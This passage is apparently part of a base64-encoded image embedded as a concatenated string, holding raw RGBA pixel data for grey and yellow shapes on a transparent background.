S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL20tLSwQAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tiS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/5LS0s0AAAAAAAAAADdzW5R3c1ukd3NbpHdzW6R3c1ukd3NbpHdzW6R3c1ukd3NbpHdzW6R3c1ukd3N + bpHdzW6R3c1ukd3NbpHdzW6R3c1ukd3NbpHdzW6R3c1uUAAAAAAAAAAAS0tLVktLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLBUtL + S91LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLtAAAAAAAAAAA3c1uCt3NbujdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7n3c1uCgAAAABLS0sCS0tL00tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0vcS0tLBQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tkS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/5LS0s3AAAAAAAAAADdzW5w3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW5xAAAAAAAAAABLS0tXS0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0thAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLBktL + S95LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLtwAAAAAAAAAA3c1uCN3NbuXdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93NbufdzW4KAAAAAEtLSwNLS0vUS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S91LS0sFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tlS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0s5AAAAAAAAAADdzW5s3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbnEAAAAAAAAAAEtL + S1hLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS2MAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLBktL + S99LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLuUtLSwAAAAAA3c1uB93NbuPdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u5t3NbgkAAAAAS0tLA0tLS9VLS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL3ktLSwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tmS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0s8AAAAAAAAAADdzW5o3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1ucAAA + AAAAAAAAS0tLWEtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLZAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLBktL + S+BLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLvAAAAAAAAAAA3c1uBt3NbuDdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7m3c1uCQAAAABLS0sDS0tL1ktLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0veS0tLBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tnS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0s+AAAAAAAAAADdzW5k3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW5vAAAAAAAAAABLS0taS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0tlAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLBktL + S+FLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLv0tLSwAAAAAA3c1uBd3Nbt3dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbubdzW4JAAAAAEtLSwNLS0vXS0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS99LS0sGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tpS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0tBAAAAAAAAAADdzW5g3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbm8AAAAAAAAAAEtLS1pLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S2YAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLB0tL + S+JLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLwUtLSwAAAAAA3c1uBN3NbtrdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u5d3NbgkAAAAAS0tLA0tL + S9dLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL4EtLSwYAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tqS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0tDAAAAAAAAAADdzW5c3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1ubgAAAAAAAAAAS0tLW0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLB0tL + S+JLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLxEtLSwAAAAAA3c1uA93NbtfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7l3c1uCAAA + AABLS0sDS0tL2EtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0vhS0tLBwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0trS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0tGAAAAAAAAAADdzW5Z3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW5uAAAAAAAAAABLS0tcS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0tpAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLCEtL + S+NLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLxktLSwAAAAAA3c1uAt3NbtTdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + buTdzW4JAAAAAEtLSwRLS0vZS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS+JLS0sHAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tsS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0tJAAAAAAAAAADdzW5V3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbm0AAAAAAAAAAEtLS15LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS2oAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLCEtL + S+RLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLyUtLSwEAAAAA3c1uAt3NbtHdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u5N3NbggAAAAAS0tLBEtLS9lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL40tL + SwcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0ttS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0tLAAAAAAAAAADdzW5R3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1ubQAAAAAAAAAAS0tLXktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLawAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLCUtL + S+VLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLy0tLSwEAAAAA3c1uAd3Nbs7dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7k3c1uCAAAAABLS0sES0tL2ktLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0vjS0tLCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tvS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0tOAAAAAAAAAADdzW5N3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW5sAAAAAAAA + AABLS0tfS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0tsAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLCUtL + S+VLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLzktLSwEAAAAA3c1uAd3NbsrdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + 